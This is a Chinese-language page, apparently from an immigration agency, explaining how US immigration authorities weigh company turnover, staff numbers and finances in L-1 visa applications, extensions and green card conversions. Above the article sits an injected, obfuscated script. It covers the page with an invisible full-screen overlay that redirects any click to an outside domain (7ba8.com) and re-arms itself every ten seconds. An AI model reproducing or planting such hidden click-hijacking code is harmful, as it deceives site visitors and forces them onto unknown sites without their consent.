<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>在L1签证申请、L1签证延期及L1签证转绿卡的审理中，移民局会对海外公司和美国公司经济实力都进行全面考查。移民局不但看重海外公司的经济财政实力，它更看重美国公司的规模及公司的发展，最重要的是公司雇佣了多少个美国员工，营业额有多少，只要保证业务量足够发员工的工资，有没有净利润并不是最重要。公司的行业不同，对营业额的规模、员工的人数的衡量标准也不同。
如外贸行业，营业额会很大，但是不一定需要雇佣许多员工。而劳动密集型行业，会需要雇佣很多员工，营业额可能不是很大，但需要确保员工的工资。总的来说，美国公司必须有一定的人员规模，否则无法证明美国公司需要一个外国的高级经理去做管理。
随着进几年越来越多的中国人申请L1签证，L1申请和L1延期、尤其是L1签证转绿卡的要求越来越高。L1申请及L1签证转绿卡的关键还是在是否能在美国顺利开展业务，雇员越多、业绩越好，成功的机会越大。
根据我们多年来的经验，一般美国公司营业额需在二三百万美元以上，雇员在八、九个以上成功的机会比较大。 尽管法规看似简单和直接，但是对新公司、小公司，L-1签证的申请还是非常难得到批准。在实际操作中，我们建议L-1B的申请人咨询专业的移民机构，这样才能更好的准备相关的证明以避免移民局过多的REF要求（需要补充文件），缩短签证的申请时间。l1.gonglianyimin.com
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